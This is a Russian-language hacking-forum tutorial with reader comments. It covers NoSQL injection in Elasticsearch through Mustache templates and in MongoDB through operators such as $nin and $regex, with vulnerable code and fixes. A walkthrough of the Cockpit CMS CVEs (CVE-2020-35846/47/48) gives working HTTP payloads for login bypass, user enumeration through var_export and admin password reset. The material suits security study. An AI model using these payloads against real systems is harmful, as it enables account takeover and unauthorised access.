• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья NoSQL в реальном мире [101]

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2
У нас на форуме и так 2 статьи на тему носкули, в этой статье вы узнаете следующее:
1. Анализ кода в разных языках показывающий откуда может выйти носкуля
2. Практический пример с ЦВЕшками

Вам стоит это прочитать если вы:
1. Считаете что инъекция в носкуле и скуле почти одно и то же
2. Хотите заткнуть интервьювера если будет утверждать первый пунк
3. Планируете изучить ОРМ лик

Мой взгляд на ситуацию​

Тип базы данных и структура:
Базы данных SQL используют структурированные запросы с предопределенными схемами.
Базы данных NoSQL имеют неструктурированные модели данных.

Сложность уязвимостей:
Уязвимости SQL-инъекции обычно легче эксплуатировать из-за стандартизированного характера SQL.
NoSQL-инъекции могут быть более сложными, поскольку различные базы данных NoSQL имеют разные способы обработки вводных данных.

Язык запросов:
Уязвимости SQL-инъекции направляются на структурированные SQL-запросы.
Уязвимости NoSQL-инъекции связаны с эксплуатацией функций и методов в специфических языках, таких как JavaScript для MongoDB.

Скажу вам такое, единственное что присоединяет скулю и носкулю (в контексте инъекции) это то что они оба с БД связаны и всё. А так если честно, то носкуля больше похожа на десериализацию/инъекцию кода, нежели на скл инъекцю (имхо, в контексте эксплаутации)

Писать о разнице скули, носкули я не буду, материала полно, так что давайте к делу

О том откуда появляется уязвимость​

Java и Elasticsearch​

Elasticsearch - это NoSQL, предназначенная для работы с неструктурированными или частично структурированными данными. В отличие от традиционных реляционных баз данных (RDBMS) он использует JSON-документы без схемы, также он не поддерживает сложные JOIN-операции или SQL-подобные запросы, используя вместо этого Query DSL (Domain-Specific Language).

Особо писать о функциональностях elasticsearch я не планирую, документации и так существуют, тут главное для нас это понять наши лимиты и возможности, , а для этого мы как минимум должны знать то как получают данные через elasticsearch.
Если забуду добавить постман, напомните

Словарь:
Database->Index->Контейнер для данных (например, users, products).
Row->Document->JSON-объект, представляющий отдельную запись (например, профиль пользователя).
Column->Field->Пара ключ-значение внутри документа (например, "name": "John").
Schema->Mapping->Определяет структуру полей (типы данных, форматы).

Чуток об Elasticsearch​

Начнём с создания индекса
aa4bc1ed-c986-4aac-a1a8-7039d25b8abb.jpeg

Существует несколько типов данных, которые я сам тоже не знаю, но на них нужно обращать внимание, потому что в некоторых запросах тип данных может повлиять на поиск информации.
Например, существуют типы keyword/text. Если поставить тип текст, то потом в поиске пробел будет работать как "или". А в keyword точное совпадение.
Создаём пользователя с паролем "secret pass":
30bbd02d-1891-4cce-a18c-5a5629fac15e.jpeg

Ищем "pass":
be779fd2-68c4-4fd9-8f2e-1bfff2c2ff28.jpeg

Это больше связано с безопасной разработкой нежели с nosql инъекцией, но знать не помешает.
После создания индекса можем создать обычного пользователя:
ff128691-0e3e-4832-9807-6ba3fc5aacb3.jpeg

Обычный поиск по почте:
be3912c4-9523-4479-ae28-add301f162e9.jpeg

Также стоит чекнуть структуру квери в elasticsearch, например нельзя написать 2 field внутри одного term:
47ad8856-4417-4444-9c22-e419714094cd.jpeg

Для этого мы можем возпользоваться "bool". Относительно документации elasticsearch
Булев запрос — это запрос, который сопоставляет документы, соответствующие булевым комбинациям других запросов.
На человеческом: присоединяет несколько квери используя логические операторы как И/ИЛИ/НЕТ.
Оператор "И" который проверяет совпадает ли пароль И почта:
6ff78a2e-fab5-4d09-b6d8-1963e33cdd18.jpeg

Оператор "ИЛИ" который проверяет совпадает ли пароль ИЛИ почта:
5a5068e1-a212-4b03-a9fb-90141a5ac226.jpeg

Это знать важно потому что если в квери только почта и пароль где стоит маст, даже и если будет инъекция (в зависимости от ситуации), вряд ли это нам что то даст. Вы можете подумать о "$ne", такое тут не прокатит. Где то альтернативой здесь является must_not, который внутри email/password не поставишь, а внутри bool ставить смысла нет, потому что и так выше стоит must. Конечно случаи могут быть разные, но именно в примере с must выше, оно вам не поможет.

А если стоит should, то мы можем просто добавить айди и получим ответ (в elasticsearch везде имеется айди).
c7d3afde-6cd3-4420-b59e-99e2a9ae1004.jpeg


Также если мы захочем чтобы совпадало несколько начений то мы можем воспользоваться minimum_should_match. Оно позволяет указать минимальное количество необязательных положений, которые должны совпадать, чтобы документ считался релевантным.
93ebd618-e975-4b3b-ad26-73808f14d0e5.jpeg

Например, выше я написал неправильную почту, но правильный пароль, из-за того что минимальное количество значений которое должно совпадать равно двум, ответ будет пустой.

Во время спора с интервъювером, максимально не торгайте тему эластика, так как если сравнивать скулю и носкулю и как пример привести эластик, то тут инъекция слишком схожая. Помните, основная причина по которoй можно выиграть этот спор, это то что SQL-инъекция манипулирует синтаксисом на основе строк, чтобы изменить логику SQL (тут ,кроме параметризованных запросов, для фикса нужен эскейп, чтобы из кавычек не выходило), а NoSQL-инъекция злоупотребляет операторами JSON/BSON или выполнением JavaScript (тут нужна проверка типов входных данных). НО в случаи с elasticsearch, нужно и то и другое xD

Уязвимости в коде и их фикс​

Mustache — это шаблонизатор без логики (иф/элс нативно нет, но можно через блоки поставить "если есть то..") для генерации динамического контента. Он использует синтаксис {{ }} для подстановки значений.
Стандартным тэгом в мусташ внутри которого ставят стринг является {{string}}, который выведет значение переменной string с экранированием HTML. {{{string}}} выведет значение переменной string без экранирования HTML. {{& string}} -это альтернативный синтаксис для неэкранированного вывода, эквивалентный тройным фигурным скобкам
a524ee09-12da-4c31-99e5-301feffe2fed.jpeg

То что мусташ "logicless", это не означает, что он не может работать с данными, включая пользовательский ввод. Это означает, что сам шаблонизатор не содержит сложных конструкций для обработки этих данных. Им могут воспольсоваться чтобы принять входные данные, как на примере ниже:
52e94b2b-3119-43e0-a631-2dc225b459c9.jpeg

Темплейт выше используется в функции findUser для входа:
Код:
    public User findUser(User user) throws IOException {
        Mustache template = mf.compile("login-query.mustache");
        StringWriter writer = new StringWriter();
        template.execute(writer, user).flush();
    
        SearchRequest searchRequest = new SearchRequest("users")
                .source(SearchSourceBuilder.searchSource()
                        .query(QueryBuilders.wrapperQuery(writer.toString())));
    
        SearchResponse response = esClient.search(searchRequest, RequestOptions.DEFAULT);
        return response.getHits().getHits().length > 0 ? user : null;
    }
То где используется функция findUser:
Код:
    @PostMapping("/login")
    public ResponseEntity<String> login(@RequestBody User user) {
        try {
            User foundUser = userService.findUser(user);
            return foundUser != null ?
                ResponseEntity.ok("Login success") :
                ResponseEntity.status(401).body("Invalid");
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Error");
        }
    }
Относительно трмплейта мусташ, внутрь username/password мы можем вставить что угодно и это должно сработать.
Сперва создадим юзера:
24b7428d-4dbf-42c5-8997-11f168f13599.jpeg

Входим:
9a9a2724-bd34-4e24-b731-465095c77d28.jpeg

Код:
2025-03-21 14:02:41.035 DEBUG 913 --- [nio-8080-exec-2] com.example.UserService                  : Elasticsearch Query: {
  "bool": {
    "should": [
      {"term": {"username": "victim"}},
      {"term": {"password": "secret"}}
    ]
  }
}
Мы можем добавить minimum_should_match и обойти вход не зная пароль:
9ecf52c9-5233-498b-be01-e8c4a8df7a11.jpeg

Код:
2025-03-21 14:05:14.612 DEBUG 913 --- [nio-8080-exec-5] com.example.UserService                  : Elasticsearch Query: {
  "bool": {
    "should": [
      {"term": {"username": "victim"}},
      {"term": {"password": ""}}],"minimum_should_match": 0}}"}}
    ]
  }
}
Мы знаем где уязвимость и в чём проблема, можем перейти к фиксу уязвимости:
Код:
{
  "bool": {
    "should": [
      {"term": {"username": "{{username}}"}},
      {"term": {"password": "{{password}}"}}
    ]
  }
}
Довольно просто, не так ли? В скуле фикса такого рода через самого мусташ не будет и на это много разных причин. Начнём с того что elasticsearch нативно поддерживает Mustache, что позволяет использовать его для динамического формирования запросов. Механизм _search/template позволяет передавать Mustache-шаблоны напрямую в Elasticsearch, где параметры подставляются автоматически. MySQL не поддерживает JSON-запросы нативно, что делает применение Mustache менее удобным. SQL-запросы представляют собой строки, а не структурированные объекты В MySQL нельзя напрямую передать шаблон Mustache, как это делается в Elasticsearch.

NodeJS/TS и MongoDB​

В отличие от Elasticsearch, MongoDB не поддерживает Mustache нативно, однако шаблонизатор можно использовать для формирования JSON-запросов на стороне приложения.
Примеры ниже это лабы с код анализом.

Особо описывать это всё смысла нет, вот плейграунд: https://www.humongous.io/tools/playground/mongodb/new

Пример одного запроса просто чтобы было представление:
Код:
db.collection.find({
    language: "English"
})
=======================
[
  {
    _id: "67df2f91c7ddee8d843835b2",
    name: "United States",
    capital: "Washington, D.C.",
    continent: "North America",
    language: "English",
    population: 328239523,
  },
  {
    _id: "67df2f91c7ddee8d843835b5",
    name: "Australia",
    capital: "Canberra",
    continent: "Australia",
    language: "English",
    population: 25681300,
  },
];
Пример имплементации монго в тайпскрипт
1ddb2002-7cab-434b-86f0-eaaf23073a9b.jpeg

Можно сразу понять что система напрямую принимает почту и пароль с запроса и потом использует findOne чтобы искать почту. Пароль проверяет через функцию validPassword. А validPassword работает так не сравнивает напрямую с функциями монго:
b03cf1be-2738-449d-913f-5790976485e3.jpeg

Представим что язык в плэйграунде это и есть почта, он на данный момент стринг, но можем мы вставить вместо стринга что угодно. Хоть монгодб хранит данные в BSON (binary JSON), он также принимает JSON-подобный ввод при выполнении запросов, особенно в node приложениях с использованием библиотек, таких как монгодб или мангус. Так что вместо стринга мы можем поставить джсон объект, внутри которого операторы типа $ne (https://www.mongodb.com/docs/manual/reference/operator/query/)

Для разнообразности воспользуемся $nin (Not IN) означает "не содержится в списке".:
Код:
db.collection.find({
    language: {"$nin":[]}
})
==========================
[
  {
    _id: "67df39cf357d181601d11acd",
    name: "United States",
    capital: "Washington, D.C.",
    continent: "North America",
    language: "English",
    population: 328239523,
  },
  {
    _id: "67df39cf357d181601d11ace",
    name: "Ivory Coast",
    capital: "Abidjan",
    continent: "Africa",
    language: "French",
    population: 26378274,
  },
..........
В нашем случаи это не сработает, так как у нас слепая носкуля:
fee10950-0345-4fa3-a09c-0b113aa0b098.jpeg

Но тут такой трик, если почта неправильная, то мы получим Incorrect Emai, а во всех остальных случаях Incorrect Password. Кстати, если пэйлоад {"$nin":[]}, то совпадающий пароль, это пароль первого пользователя в БД.

В таком случаи можно воспользоваться регекс и если почты будут совпадать, то в выходе будет email, например "Есть ли почта которая начинается с 'us'?":
c21c79bd-99af-48fa-aac4-480a887749f6.jpeg

Как таск советую попробпвать это в Owasp Juice Shop.

Фикс довольно простой, нужно просто принять данные как стринг, а не как что попало xD
85b03bc9-835e-4b14-8312-c81a89366ddb.jpeg

Как ответ пришел "Incorrect email" , что подтверждает то что фикс сработал:
b60cc6cc-2617-495e-b89a-9ac30716ccb7.jpeg


Сам фикс этой уязвимости показывает то насколько отличается скуля от носкули. По фиксу вообще напоминает загрезнение прототипа, десериализацию, но точно не скулю. А то что до этого (эластик) напоминает ХСС, но не скулю.

CVE-2020-35846 / CVE-2020-35847 / CVE-2020-35848​

У нас +- есть понятие об уязвимости в данный момент, мы понимаем что если эластик и мусташ работают, то фикс наверняка будет в темплейтинге, если монгодб то фикс будет связан с типами данных.

Уязвимость в версиях до 0.11.2, так что можете поднять эту ерсию из докера -agentejo/cockpit:0.11.0

Сама уязвимость​

Мы можем чекнуть коммиты чтобы как минимум понять где уязвимость (https://nvd.nist.gov/vuln/detail/CVE-2020-35848)

Значит отредактировали всего 2 файла, lib/MongoLite/Database.php и modules/Cockpit/Controller/Auth.php

В фиксе Auth.php добавили is_string, это показывает то что до этого он наверняка мог брать эррэй
bee3363e-d2d1-4cd5-a09c-33fd214f717d.jpeg

В коммите 33e7199575631ba1f74cba6b16b10c820bec59af описали проблему, из-за которой можно было ызывать функции не только монго, но и php. Так что убрали использование
$fn/func/f целиком и добавили просто функцию $where для тех кому надо.
b4c11b62-7876-4d75-b7ae-7dafe8bed50e.jpeg

Фикс в Auth.php касается параметров user/password/token.

Код:
    public function check() {
        if ($data = $this->param('auth')) {
+            if (!\is_string($data['user']) || !\is_string($data['password'])) {
+
+
+                return ['success' => false, 'error' => 'Pre-condition failed'];
+
+
+            }
....................
    public function newpassword() {
        if ($token = $this->param('token')) {
+            if (!\is_string($token)) {
+                return false;
+            }
....................
    public function resetpassword() {
        if ($token = $this->param('token')) {
+            if (!\is_string($token)) {
+                return false;
+            }
Функция чек используется при входе, так что уязвимость есть в юзер/пасс, но в пасс эксплоитнуть не выйдет так как там потом вызывается функция password_verify($data['password'], $user['password']) в которой пароль ожидается как стринг, а не как эррэй.
Запрос 1:
Код:
POST /auth/check HTTP/1.1

{"auth":{"user":{"$nin":[]},"password":"admin"},"csfr":"<csrf>"}
Ответ 1:
Код:
{"success":true,"user":{"user":"admin","email":"admin@yourdomain.de","group":"admin","name":"Admin","active":true,"i18n":"en","_created":1742729519,"_modified":1742729519,"_id":"67dff12f18795a5ae4443431"},"avatar":"a11eea8bf873a483db461bb169beccec"}
Запрос 2:
Код:
POST /auth/check HTTP/1.1

{"auth":{"user":{"$nin":[]},"password":{"$nin":[]}},"csfr":"<token>"}
Ответ 2:
Код:
<br />
<b>Warning</b>:  password_verify() expects parameter 1 to be string, array given in <b>/var/www/html/modules/Cockpit/module/auth.php</b> on line <b>35</b><br />
Если чекнуть Database.php увидем такой кусок кода:
Код:
            case '$func' :
            case '$fn' :
            case '$f' :
                if (\is_string($b) || !\is_callable($b))
                    throw new \InvalidArgumentException('Function should be callable');
                $r = $b($a);
                break;
Тут \$б это имя функции, а \$а это имена пользователей в системе. Тоесть если мы воспользуемся функцией var_export (показывает содержимое переменной как готовый PHP-код) то должно выдать список пользователей.
Запрос:
Код:
POST /auth/check HTTP/1.1

{"auth":{"user":{"$f":"var_export"
},"password":"admin"},"csfr":"<csrf>"}
Ответ:
Код:
'admin''test'
Уязвим токен в resetpassword тоже, так что можем поменять пароли пользователей без проблем. Значит сперва отправляем пост запрос в requestreset:
Код:
POST /auth/requestreset HTTP/1.1

{"user":"admin"}
Ответ:
Код:
{"error":"Invalid address:  (From): root@localhost"}
Этот эррор как я понял от моего сервера идёт, генерация токена по ходу до него происходит и проблема в отправке токена в почту. Для нас главное чтобы токен создался и всё.

Отправка запроса на создание ресет пароля:
Код:
POST /auth/resetpassword HTTP/1.1

{"token":{"$nin":{}},"password":"pass"}
Ответ:
Код:
{"success":true,"message":"Password updated"}
96d5b959-f750-4196-a5b1-692c4ffccdc5.jpeg


Автор grozdniyandy

Источник https://xss.pro/​

 

Вложения

  • Elastic.postman_collection.json.txt
    5.8 КБ · Просмотры: 21
  • myApp.postman_collection.json.txt
    1.4 КБ · Просмотры: 20
Последнее редактирование:
на будущее
если рефразишь или пишешь через ии, то проси вывод лучше в BBCODE а не маркдауне, потому что заголовки и подзаголовки на форуме в маркдауне не работают
только всякие инлайнкоды и подчеркивания

я про это

## О том откуда появляется уязвимость
## Java и Elasticsearch
 
на будущее
если рефразишь или пишешь через ии, то проси вывод лучше в BBCODE а не маркдауне, потому что заголовки и подзаголовки на форуме в маркдауне не работают
только всякие инлайнкоды и подчеркивания

я про это
Я сам пишу в маркдауне, потом через телефон приходится сюда кидать (в компе уже даже впн-а нет), а через телефон хидеров нет, есть только размер текста
 
Я сам пишу в маркдауне, потом через телефон приходится сюда кидать (в компе уже даже впн-а нет), а через телефон хидеров нет, есть только размер текста
странно... почему "уже"? и почему нет? овпн поднял и в бой... а как же ты тогда пентестишь? это я так чисто мысли вслух. понятно тогда
можешь просто писать ручками в обычном тексте [heading=1]текст[/heading] - это h1 будет или какой то конвертер запилить
 
прочел с удовольствием. Спасибо:cool:
 
странно... почему "уже"? и почему нет? овпн поднял и в бой... а как же ты тогда пентестишь?
На работу беру только опен сорс/self hosted проекты, ничего не проверяю с обычного веба, только баг баунти 1 день в 3 месяца

У меня никогда не было хотения пентестить чужое (чужое - сервисы тех людей которые нам не враги)
можешь просто писать ручками в обычном тексте [heading=1]текст[/heading] - это h1 будет или какой то конвертер запилить
Аа вот, забыл про них, спасибо, сделаю
 
Последнее редактирование:
на самом деле обращу внимание всех. Человек вложил дофига усилий в статью, и сделал ее максимально подробной, чтобы было понятно с самого начала. Это редкость, когда статья помогает поднять человеку свой уровень с нуля не до новичка, а до мидла. Это очень ценно. Спасибо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх